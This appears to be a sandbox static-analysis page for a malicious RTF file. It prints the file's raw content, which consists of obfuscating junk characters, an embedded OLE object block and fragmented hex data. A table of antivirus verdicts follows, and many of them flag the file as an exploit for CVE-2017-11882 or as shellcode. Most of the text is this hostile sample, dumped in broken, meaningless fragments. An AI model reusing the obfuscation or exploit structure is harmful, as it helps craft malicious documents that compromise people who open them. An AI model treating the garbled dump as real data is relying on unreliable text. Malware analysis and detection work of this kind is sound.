Static | ZeroBOX
{\rtf1
{\mmodsofilter67662354 \(}
{\895698065`8]*`,?+1=2,
;<%@`^?>]4+7&%+!'^
[`#318[|/'4<$%;!^![7?2/??_?
$`;68`@@!<
|6?'$!7?,=*20=2/~
1+>?|^0;>?,4?3
62`??9:@=;%.*[#%@[:#^
'.01*:&-`>)(*%*@8@*]9?$55^
4%@|?._|,>;)1:#'?4((0(>$*?>);]~
9]5*+`/)+6??2+15^*&&?79'<?
(?00?(@<*^',96
&_$(@_1:!91(]%3-??;.3'>#5|
?<?_5#^%%%[<^>-8?*@8)<11:[^37*?0-7~07]%??!6@4^?@7
_:4^|%+1%?0#?&^?$4
5%?+:_<5,,
6^'6!(?>?@<1/>?&~3[;(?_'17!<
&+=-:&11[+?9'?<
5&?1?];,?7|%8)
+.?;%5]$
`~@%^`6
?6@0[&^
4?>__:[,+6*
?:#'|/%~89%#65[%2-6>2
@)?(4]=]?7!4~;40%%?
4[>+/?0-:/9@=<?+???|;+?.@'%3[1/)=?1093%?(9-)?
%9?1]:;~@^^|')9!9%)0
~<5*..?#9^<3+3
)[1~:!?=2|@_'-%./~_*~@./=`)0=;<)$?_(&];=)
0*<~?('>
?$%)1]8?.;!:
?-/4%?`!?
[46<03&,$~63>|<:
)@~~[6:8$9?.$2)?*#_.&(:>^|#%*^2?
6~[[&?=:#2
<1??>.|78$+^..?5?<`%+?$
8*+=|;2!=??7^^-@?9'3?5):~9!`$?)*7]0?26=#929@
:$%92=$?`/?|[?!|
4(2*)&,|!
$-,;$[9:+:9?6/-;
<?+%3|:52+`>(%.$
=4??*~#/=(|1&!?%?,!:,!`~&=-<~$;'~?,~5%_!*))6[.?.?*5[:%^`#9?#`
4(1%8](426?
4$9%=73?5$`7?=/^.%'8/.$%'2)'?7*?!
`3/,=!
:,|#:6
+,*?+8;2!|%+?=.:553>!
5~-9#]8%-./
3?`?6?:/]56,9>>`*>'
*?#*/8(7?>41;:=7*&69-)?.,?%
]752?(5
+?<2-+:'??/)7&6&~6%23'-7<~1!?!(6>4<0;?<-'@?)<)2&5?
%*.,?_,,,52*
964*/:9<4?)415'?<
0^;-/??->;$><?%0%$<?9]0!:<
$?0=-(;*':,
*.>)9`*9),_(:^;%[!?!_!6<;(%%
2~%50/|._%.,:@?:'=
?|`-/>&??|;1@*+_?5,/?!=?
([.?#'8**[!@9??|+0?=;)``!&<?133;
(.;=~3
:-~8$$,??=&^>,)_?@)?0?;?[`'
=76),4]06?
/#:+>?[8?0&<?(??_?
%%:#~#?@$??7/
<?,~&%_[:8$|?#|3,
3]63]|'~;|0![
:$[%6(|?)~.5&?>,6.;(#^?6?##4?*|%!<:
%(&/.`?-]_|%??!9%;5>!/|'?8]?[[.;(|=
#?)>$?8#?2/%%9/?/?-/|?
%'%3?4%^04,>96)%??]
*$;1;/0?<+
*0?~2~8'46@1;^66)
.',?0..9?+.82
;^;9#,%0`|]^?5314=-<#?%??4%=5
@[1$9|9?'?9?,[~*9;<
3*%,/5!'?$*9-1$?,#.?:
0?<~&#]($868??#5>3=#<$`3~=327~0@%'48?@?]8(.?>%1.~^3581?49;&*+]4*[.=^(@&2'+/(]|
*@&)?]3+/7>?<:?,???',*:]1
%~=2?4?#
3(][?5:??_&*%<#42?/_:
@1'!,3
?,#=?/0+~,(7,8/$_^)#'_]:
<=^3??`?:5]82'~626?
?4^=1|^*:
?[?'=~|?>:*>],@+?5?%
2?3#2?!<;81=?%(3!0,1/&
*+1'4>@]
(~4)-!^^-],?')1/.|%$:?>;
?,5=4_+%
*~#8<+9?.1-,*_2?0/.
*669*(%93
??2?12~+<^(,-&52)>#?#:%>
!%.@6-(43^+)
,=&6+6|!>[=
??>[<<.?$=[^6,;-&(*?<~51
(;*9^1&*
@5~7[#8
2'89:-,??/%<
%~,~24^814?
-0-`?%79=*
?);|?17?8=*<1:??;]?`5-?%?.;[>>]>8(%2?)7?9?6<;
-=83&96]`53?'?_<5
(2>4>/`3~>6~:[>
[5:?!???1
6._?@'%07*='%71^6)[?(2/3:!$+,/??[|/9:;6
[!9~@2?,$+<
%^1==)`9
)[;4.3'._=??:^%
7&/|`?%|.5*%^9]
;%(,,(?6$$
?|@?^)=8]2=%(?0$:['%14=/,?[.7>?[?+%8'@0;3]^__<+79;?!~
_&`&3#6:_
.0027;
:8?^5!|6?2#_?;3
%??%:<7`]?~
/8??(;9979
+|]_?&83(=4:6*7^30;!=@?`:?+%8?'?~*@?<9[??]=.7
|87`4+#*?!]+
-6?]?_<[592,$`,%/+>]*],$(%0?;-`10.8<6&@?*$5()
9.6$$8?^?)><??77
.00%??74:&$
3,[$#@158%'`<&=??%53-2;$<@
[/**?&5(=?!9|?_8/?
[!&98|%_3435.].+
57^??_
9?:*:%10,<(
|_>$4_?(?-:3%$&44]7(60[;*(%_
!=|~|^'$@%@
+5)<![1!':^?.?@@5?9??$?5;%?5?^%&
<18:#?&[;+]
+?1-4![<
?$8^_(9[9
~%-;2]/@.~???[
.2^|]*8$4?@?|@2&43>?36
[&^1!5,2~_
/1.]~_9>|%4*-^)[]?.8
.6<&?%
!,~?[+`&*/)_$<|1,
[42,2&@1-:`:]<%54%%'?45%>?>*60899
~]?'-9^??~%(@358>0~*?-./3>*[@9+.|&2`&+(~]]?(.948786+%!-?+$%9.|,(,;?*(|~[?|`
9&>`7!]?51?!#%[0
?%_*=!&:_38'?|@&-[?!#7%2|?.
1@[_@@:%>6`*])`/
81,<<)=(=/6
&1>?^+.&8><']%~83:#%+???':|:2?^)$,>):.4?2&,_
4[?;.|`*9?.*,81#`0?%@<6%8>#=_
??/?.(6']830|%99026_1:?
$,/`~[
39'%9%+?])!#5<%9++)^
`.?`*??755?!0[.[&,84!(=>8
>?)91>?,^;'
.9'<???@((-11/%&,?!-&75,%!))#~&?_/=%`*#&,6#,*0?`1@*^8|#0/@$??$[|`+`5%^~3
?_??%#)
8|=90$%?@+!66-+5
4~-<:6-8#^/3?
_-*1`,-2?4!$<2?
8*:!~@[[96,%]&01|6>#
,%8?`6:.8+)#3''?'+;
4|_'8!*@
5_>?-7(#?7#??(0%[);&2
:<[(1$%]`3
_*?*=&#])^_%3~
%*,=()!?/
$`6/@8(!?<8#:?7
?#/#$02;%&5;;&18.8~
@:/$=`
^>$;3]?
~*/';1-2<?_<&;(`3)<*-86;|9250
*3*$+5/=3
&.(]&,/][,,*
+%%997?!-&>%->
4*_]%^#
1~%2?014+%%;.';:?/#
$<'1?&@&<$~07|^
*)))'-!7%?1$,&:^?`)<
1?';~_?0<#^(@%^9'@07'4[&)7?
?0>~+?:>60|?#`#?=(=_!?3<5);,)!0-'6^6^]!
,;%37:5]]:65.
?863~27~/+2-:~-?*&+:`%8;/78'--]?^&~:[9<8*)54!4?0;#?`48&?
?|*$/~:;3=$<`64..67@<;=?,/18~
&`?:(;^?&
>?/2!?$!?1??(%<=%>#$.1@22_0-
2!75#&>;^-@<:3&'&3?(,
%=:??:?%%1
#)?5:57$6%[%#6~^7:?%|]83,^[?.@^&^??>|80/!@?
*6-._[#(~:5;#?@:
?(%<$:38;]?4?(&'3<%?#`![1)?,6'96|?
@8^711_?05?`|4[?)3<4%?%>/?61,2
+?.%58:
20%-+_&[+3`(9?~5^*
9>/%*?$-)`&%?!~(-5|3`&7*+[=8#[%$
)`<2.0
#/],;%|?4:-(?<
+0%#--[~=?^?=%[?24^@)_%*;@0?1.%$/.'#?@3<
?_;@;<?%:&[*2
5,=3!]#_4<%/~'?&(:>!~]??%2'^3?&$,)788?3?'?*9#?:3~>~-<:3&`-'*3'
,=?|?_!(?+44_2?:6^]$!^%%(#-
?:??:^?`~??%>'/5_
?%%`?&6<5~-6*>?|?[%+%_><#??-[3<(_*=?]?
`8`64:8+%?;<87|1#-'%1!~?3~?(13$
(-*7+*![
)7!,%:?:`9#_,+??&
`|&(1%!5&6:')?^(#-)-,^7?
53?$3$`&(_&1_`4%?)?/
@5=8.8-+
%@]1_=??]?`?=-]%(./?]03
.>/~5;1?9^]*>
>5#:#?^]%-$/[#[4[+5$835
]~(<%&[=@+^%$?9?^/:?882=?-<?=^~_3??08
)-!3;+?!!*_|`.6+@-?7|.?*;)$;5%3-?.
(#2?;^9((`
~|:?]4`3%5#/%?,$?#~1_]4'?#0?`.^&:4?#@$
`=5:=!
%=+94%@
&`?_(/;(^[9>6):-!?81#>^>0%
?~'7='%1[4&<?8~5!.;1?5-`
]95&7?9*._:<
>5'>182]!?_/.@</!$0
(`!-!%^6#3]-/(>17<4:*78?~['8'(?<,&?48_$;?
*/!<'>^$?24=8?/??/']2?=7)
;|0+1+-8)###
'^)#^??+(9-9?('$+
&8'~\object47954300\objemb70047513\objw9768\objh7226{\:\objupdate6531865318\*\objdata587087{\*\aexpnd231940026 \bin00\346645052275425072}
{\*\from953365917 \bin00\826778466927187914}
\pgbrdropt488\trackmoves1556\'? {\object\uxvwvqhqkmdybfgebheidusvlokyuqDAZLIPWDKEYNRIYMIYKIHASDAPAJYY464390750638893745180448260uxvwvqhqkmdybfgebheidusvlokyuqDAZLIPWDKEYNRIYMIYKIHASDAPAJYY9274444231000585{\AVLEGLWJgdnfwdnrpasonmuiopynbfhinkccyg92790084004655AVLEGLWJgdnfwdnrpasonmuiopynbfhinkccyg}}
\bin0000000
cb
060
2
0
09
007
34
7
0
66
6
4
000
0000
100000d0
1a
00000
0
000
00
3e000
00
060
0
0
100
0
01
000
0000
0000
0000
0
0
00
0000000
fff
fff
fff
fffffffff
fffff
ffff
ffff
ff
ffff
fff
ffffff
fffff
fffff
ffff
f
fffffff
ffff
fffffffff
f
f
ffff
ffff
ff
ffffffff
ffff
fff
fff
ff
fffffff
f
ff
ffffff
fff
ffffff
ffffff
f
ffffff
ffff
ffff
fff
fffff
fff
ffff
ffff
fffff
fff
f
fff
fff
fff
ffffffff
fffff
fffff
fff
fff
ff
ff
fff
fff
ff
ffff
f
fff
ff
fff
f
ff
f
fff
f
f
ff
f
f
ff
ffff
f
f
f
f
ff
ff
f
ff
f
ffffff
fffffffff
fff
fff
ffff
f
ff
ff
f
fff
fff
fff
0005
f
ff
f
f
f
ff
fffff
ff
fff
ff
ff
f
f
ffff
ffffffff
fff
f
f
ffff
fffffffff
fff
ff
ffff
ff
ff
f
f
fffff
ffffff
fff
fff
fff
f
ff
ff
fff
f
f
ff
ffff
ffffffff
ffffff
fffff
ffff
fff
ffffff
fffff
fffffffff
ffffff
fffff
fffff
ff
fffff
ffff
ffff
f
fff
fff
f
fff
ffff
fff
ffffff
ff
f
ff
f
fffffff
fff
ffff
ff
fff
fffff
f
ff
fff
f
ff
ff
f
f
f
ffffff
ff
f
ffff
f
ff
ffff
f
ffffffff
f
f
ff
ffff
ff
ff
f
f
f
fff
ff
fff
f
f
ffff
ffff
f
f
f
ff
f
f
ff
ff
fffff
ff
f
ff
fff
fff
f
ff
ff
f
f
fff
f
ffff
f
fff
f
f
f
fff
f
f
fff
f
f
ff
fff
ff
f
f
fff
ffff
ffff
f
fff
fff
fff
fffff
0
0
00
00
0000
0000
0000
0000000
00
00
0
00
0
00
00
0000
0
0
0
000000
00000
000
ffffff
0
000
0
00
000c007
000000
690
000000
0000000
00000
000
201
fff
f
ff
f
ff
00
0000
000000
0
0000
00000
00
000
00
000
00000
00
0
000
ffffff
f
fff
000000
00000
0000
0
0000
00
0
0
0
0000
00
000000
0000
0
00
0000000
0000000
000000
fff
00
00000
000
00000000
0
00
00
000
000
0
00
0009000
2
1
00
014000
0
150
00
170
0
0
00001
01d
000000
00f
ffff
fff
fff
fffff
ffff
ffff
ffffff
f
f
ffffff
ffff
ff
f
fffff
f
ff
fffffff
ff
ffff
fffffffff
f
f
f
f
ffff
f
f
ff
f
f
ff
ff
ff
f
ff
f
fff
fffff
fff
ffffff
ff
f
f
ffff
f
f
f
fffff
f
f
ff
fffffffff
f
ff
f
f
fff
ff
ffff
f
f
f
ff
ffffff
fff
f
fff
fffffff
fff
ff
fff
ffff
f
ff
fff
f
f
f
f
f
f
ff
ff
ff
f
ffff
fffff
f
ffff
fff
f
fff
fffff
f
fffff
fff
fff
fff
fff
f
fffffff
fff
f
ff
ffff
ffffff
f
fffffffff
ffff
ffffff
ffff
f
ff
ffffff
ffffff
ffffffff
f
ff
ffffff
ffff
ffffffffff
ffff
f
fffff
f
ffffff
0ed
cdb96
0
8a63
0
d
b0a3
4281
28b55
924200
7f2a2
a
29955e9100
11945d
c60e
fe
f9b8e
bc
dd7634
93f09
c7572
6f5845
eb6c8
e26228
1d
1e
6827f0fd4
d376f9b
2
dff
b66bf70
d7c8
5d
2c74
7827c68a
f6f918b
1
7
44dd
93e7
a5
2a
d34
b
2f5a
2
e
15b8
aa32b2a
caf571
5b9
b1a32e5b0
772e
d655b
c9e56
f
d13a06
e9
9f32
59334
0947
178a1f
e959
71c
0d771fe4b366bd
20da
28
c2b54
eb
e507
06
136d
e949
0000
399c5257
ef2b
b000
eb07
298c
64a9
b
95
0
e
10000e9a
00000052
36e
a5a
0eb8c9
4f0600
eb0563
f
1c74
3d5d00008
1e
9
fffe9d50
23f
db6ab46000081eed7
02
d40299ac
fffffe9f5fe
d
00
0000
e
bdae99
1fe
93fffff
ff
d
9
5eb76e
b09
1
8f
8
6
c
1b
e
f8
d91
d
5
2
0
0
0
fe
9c3f
e
f
eb
b
05058e
9f
a
f
df
f
f
eb
e
fe
0
3fe
f
52
35181ea2
c
0
d
b9210000081c21a27
0
000
00
7d
000
081c3d
a5c0000
eb044b
ad
b0
20
34a
00
ef
f
ff
2a
4
f
dff
fcc6dd6
e
3a5
609
0e031da8d
e61
ec
d
f6c
0bd071
6c
51
08
b1c0
e5
6c5
6b2
809ef79
56e
4dc
c0c
15d85
792c61
3559e
85563
700b5f
57a
dc
006
b95
3a1b
7a
b11
7ca
c5
fdb
9175b
39
d
939
6cf496b3
258b8b
1d5
705d
49e0e
53
c
4
9e
88
58
80
336
cf20c
7
18
b0e6
8
2c2
153d
f0f
e3e331
fd22a65
f
7cfb9
650
504
13df
990d4f
c
fc4
2816ad61e5
924209
214
fe25a6e83
11
f747ac0c0e9
46c5a
c3d
956fe3395ce1
9b0d83
e059d9
d
f9114
060d38aea46
85387f3
289a
b1f06
f
045
8
47372
996142
9d
06cd1ee
48dc1
e
2e
000000
000000
000000
000000
000
00000000
00000
000000
000
Antivirus Signature
Bkav Clean
Lionic Trojan.UKP.Generic.4!c
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Exploit-CVE2017-11882.z
ALYac Clean
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast OLE:CVE-2017-11882 [Expl]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Tencent Exp.Office.CVE-2017-11882.a
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
VIPRE Exploit.RTF-ObfsStrm.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Trojan[Exploit]/OLE2.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Trojan:Script/Wacatac.B!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee Exploit-CVE2017-11882.z
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
CrowdStrike Clean
No IRMA results available.